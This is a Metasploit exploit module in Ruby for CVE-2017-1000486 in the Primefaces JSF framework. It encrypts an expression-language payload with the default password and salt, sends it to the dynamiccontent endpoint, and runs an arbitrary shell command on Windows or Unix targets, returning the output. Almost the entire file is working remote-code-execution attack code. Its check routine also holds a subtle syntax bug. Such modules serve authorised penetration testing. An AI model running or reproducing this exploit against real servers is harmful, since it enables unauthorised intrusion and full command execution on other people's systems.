##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  def initialize(info = {})
    super(update_info(info,
    'Name'           => 'CVE-2017-1000486 Primefaces Remote Code Execution Exploit',
    'Description'    => %q{
          This module exploits an expression language remote code execution flaw in the Primefaces JSF framework.
          Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, due to the use of weak crypto and default encryption password and salt.
  },
    'Author'         => [ 'Bjoern Schuette' ],
    'License'        => MSF_LICENSE,
    'References'     =>
    [
      ['CVE', 'CVE-2017-1000486'],
      ['URL', 'http://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'],
      ['URL', 'https://cryptosense.com/weak-encryption-flaw-in-primefaces/'],
      ['URL', 'http://schuette.se/2018/01/16/in-your-primeface/']
    ],
    'Privileged'     => true,
    'Payload'        =>
    {
      'Compat'      =>
      {
      'PayloadType' => 'cmd'
      }

    },
    'DefaultOptions' =>
    {
      'WfsDelay' => 30
    },
    'DisclosureDate' => 'Feb 15 2016',
    'Platform'       => ['unix', 'bsd', 'linux', 'osx', 'win'],
    'Arch'           => ARCH_CMD,
    'Targets'        => [
      [
      'Universal', {
      'Platform'   => ['unix', 'bsd', 'linux', 'osx', 'win'],
      'Arch'       => [ ARCH_CMD ],
      },
      ],
    ],
    'DefaultTarget' => 0))

    register_options([
      Opt::RPORT(80),
      OptString.new('PASSWORD', [ true , "The password to login", 'primefaces']),
      OptString.new('TARGETURI', [true, 'The base path to primefaces', '/javax.faces.resource/dynamiccontent.properties.xhtml'])  ,
      OptString.new('CMD', [ false , "Command to execute", '']),
    ])
  end

  def encrypt_el(password, payload)

    salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*')
    iterationCount = 19

    cipher = OpenSSL::Cipher.new("DES")
    cipher.encrypt
    cipher.pkcs5_keyivgen password, salt, iterationCount

    ciphertext = cipher.update payload
    ciphertext << cipher.final
    return ciphertext

  end

  def http_send_command(cmd, payloadEL)
    uri = normalize_uri(target_uri.path)
    encrypted_payload = encrypt_el(datastore['PASSWORD'], payloadEL)
    encrypted_payload_base64 = Rex::Text.encode_base64(encrypted_payload)
    encrypted_payload_base64_url_encoded = Rex::Text.uri_encode(encrypted_payload_base64)

    # send the payload and execute command
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
      'pfdrt' => 'sc',
      'ln'  => 'primefaces',
      'pfdrid' => encrypted_payload_base64_url_encoded
      }
    })

    if res.nil?
      vprint_error("Connection timed out")
      fail_with(Failure::Unknown, "Failed to trigger the Enter button")
    end

    if res && res.headers && (res.code == 302 || res.code == 200)
      print_good("HTTP return code #{res.code}")
    else
      vprint_error(res.body)
      fail_with(Failure::Unknown, "#{peer} - Unknown error during execution")
    end
    return res
  end

  def exploit
    cmd=""
    if not datastore['CMD'].empty?
      cmd = datastore['CMD']
    else
      cmd = payload.encoded
    end
    payloadEL = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}'
    payloadEL << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}'
    payloadEL << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
    payloadEL << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
    payloadEL << '${session.getAttribute("scriptengine").eval('
    payloadEL << '"var os = java.lang.System.getProperty(\"os.name\");'
    payloadEL << 'var proc = null;'
    payloadEL << 'os.toLowerCase().contains(\"win\")? '
    payloadEL << 'proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/C\",\"%s\"]).start()' % cmd
    payloadEL << ' : proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"%s\"]).start();' % cmd
    payloadEL << 'var is = proc.getInputStream();'
    payloadEL << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";'
    payloadEL << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}'
    payloadEL << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
    payloadEL << '${facesContext.getExternalContext().getResponse().getWriter().close()}';

    vprint_status("Attempting to execute: #{cmd}")
    resp = http_send_command(cmd, payloadEL)
    print_line(resp.body.to_s)
    m = resp.body.to_s 
    if m.empty?
      print_error("This server may not be vulnerable")
    end
    return
  end

  def check
    var_a = rand_text_alpha_lower(4)
    payloadEL = "${facesContext.getExternalContext().setResponseHeader(\"primesecretchk\", %s" % var_a
    res = http_send_command(var_a, payloadEL)
    if res.headers
      if res.headers["primesecretchk"] == #{var_a}
        vprint_good("Victim evaluates EL expressions")
        return Exploit::CheckCode::Vulnerable
      end
    else
      vprint_error("Unable to determine due to a HTTP connection timeout")
      return Exploit::CheckCode::Unknown
    end
    return Exploit::CheckCode::Safe
  end

end